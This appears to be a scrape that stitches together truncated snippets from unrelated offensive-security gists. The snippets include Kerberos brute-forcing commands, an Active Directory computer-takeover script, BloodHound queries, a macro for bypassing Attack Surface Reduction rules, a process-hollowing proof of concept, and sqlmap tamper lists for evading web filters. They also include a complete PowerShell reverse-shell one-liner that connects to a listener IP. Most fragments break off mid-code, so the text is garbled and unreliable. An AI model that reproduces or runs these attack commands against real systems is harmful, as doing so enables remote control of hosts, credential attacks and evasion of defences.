rasta-mouse

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace BlockDllTest
{
    class Program
    {
        static void Main(string[] args)
        {

monoxgas

' Need to add project references to C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscoree.tlb and mscorlib.tlb

Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr

#If Win64 Then
Const LS As LongPtr = 8&
#Else
Const LS As LongPtr = 4&

TarlogicSecurity

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

HarmJ0y

# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1

# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
whoami

# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"

seajaysec

{
    "queries": [{
            "name": "List all owned users",
            "queryList": [{
                "final": true,
                "query": "MATCH (m:User) WHERE m.owned=TRUE RETURN m"
            }]
        },
        {
            "name": "List all owned computers",

infosecn1nja

' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule

Sub ASR_blocked()
    Dim WSHShell As Object
    Set WSHShell = CreateObject("Wscript.Shell")
    WSHShell.Run "cmd.exe"
End Sub

xenoscr

function Start-Hollow {
<#
.SYNOPSIS
	This is a proof-of-concept for process hollowing. There is nothing new here except
	maybe the use of NtCreateProcessEx which has some advantages in that it offers a
	convenient way to set a parent process and avoids the bothersome Get/SetThreadContext.
	On the flipside CreateRemoteThreadEx/NtCreateThreadEx are pretty suspicious API's.

	I wrote this POC mostly to educate myself on the mechanics of hollowing. It is possible
	to load the Hollow from an internal byte array straight into memory but I have not

wdormann

If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
    Write-Warning "This script will not function with administrative privileges. Please run as a normal user."
    Break
}

$outfile = "acltestfile"
set-variable -name paths -value (Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment' -Name PATH).path.Split(";")
Foreach ($path in $paths) {
    # This prints a table of ACLs
    # get-acl $path | %{ $_.Access  } | ft -Wrap -AutoSize -property IdentityReference, AccessControlType, FileSystemRights

ohpe

powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

sapran

# All scripts
```
--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
```
# General scripts
```
--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
```
# Microsoft access
```